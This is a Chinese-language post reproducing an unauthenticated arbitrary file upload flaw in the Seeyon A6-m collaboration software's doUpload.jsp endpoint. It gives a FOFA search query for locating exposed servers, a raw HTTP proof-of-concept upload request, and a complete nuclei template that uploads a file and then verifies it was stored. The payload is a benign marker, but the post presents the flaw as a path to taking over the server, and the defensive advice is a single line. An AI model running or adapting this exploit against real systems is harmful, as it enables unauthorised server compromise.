致远A6-m协同管理软件任意文件上传漏洞复现_致远a6-m协同软件漏洞

致远A6-m协同管理软件任意文件上传漏洞复现

1.漏洞介绍

致远A6-m协同管理软件doUpload.jsp接口存在任意文件上传漏洞，未授权的攻击者可以通过该漏洞上传恶意文件，从而控制服务器。

2.漏洞编号

3.影响范围

4.检索特征

FOFA：icon_hash=“277494963”

5.POC

POST http://127.0.0.1/yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Length: 219
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvI7BO1Qq69tqF3Fh
Cookie: JSESSIONID=1BDC1511726B24DF9B75FD554960F96A; JSESSIONID=0B4A41EA32B167EC5531DD0F78E4C10D
Origin: http://47.106.219.92:9090/
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryvI7BO1Qq69tqF3Fh
Content-Disposition: form-data; name="myfile"; filename="cghn8mdjms.txt"
Content-Type: application/octet-stream

www.cnvd.org.cn
------WebKitFormBoundaryvI7BO1Qq69tqF3Fh--

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https://x.x.x.x/yyoa/portal/upload/1709521517843.txt

nuclei脚本

id: seeyon-a6-m-doupload-fileupload

info:
  name: 致远A6-m协同管理软件任意文件上传
  author: hugh
  severity: critical
  description: 致远A6-m协同管理软件任意文件上传
  reference:
    - none
  metadata:
    verified: true
    max-request: 2
    fofa-query: 'icon_hash="277494963"'
  tags: seeyon,oa,fileuplaod

variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{rand_base(16)}}"

http:
  - raw:
      - |
        POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 298
        Origin: {{BaseURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
        Accept: */*
        Cookie: JSESSIONID=1BDC1511726B24DF9B75FD554960F96A; JSESSIONID=0B4A41EA32B167EC5531DD0F78E4C10D
        Connection: close

        ------WebKitFormBoundary{{boundary}}
        Content-Disposition: form-data; name="myfile"; filename="{{filename}}.txt"
        Content-Type: application/octet-stream

        www.cnvd.org.cn
        ------WebKitFormBoundary{{boundary}}--

      - |
        GET /yyoa/portal/upload/{{jspuploadfilename}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

    extractors:
      - type: regex
        name: jspuploadfilename
        part: body
        group: 1
        internal: true
        regex:
          - '(\d{13}\.txt)'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains((body_1), 'window.returnValue') && contains((body_2), 'www.cnvd.org.cn')"
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6.修复建议

更新到最新版本

7.参考信息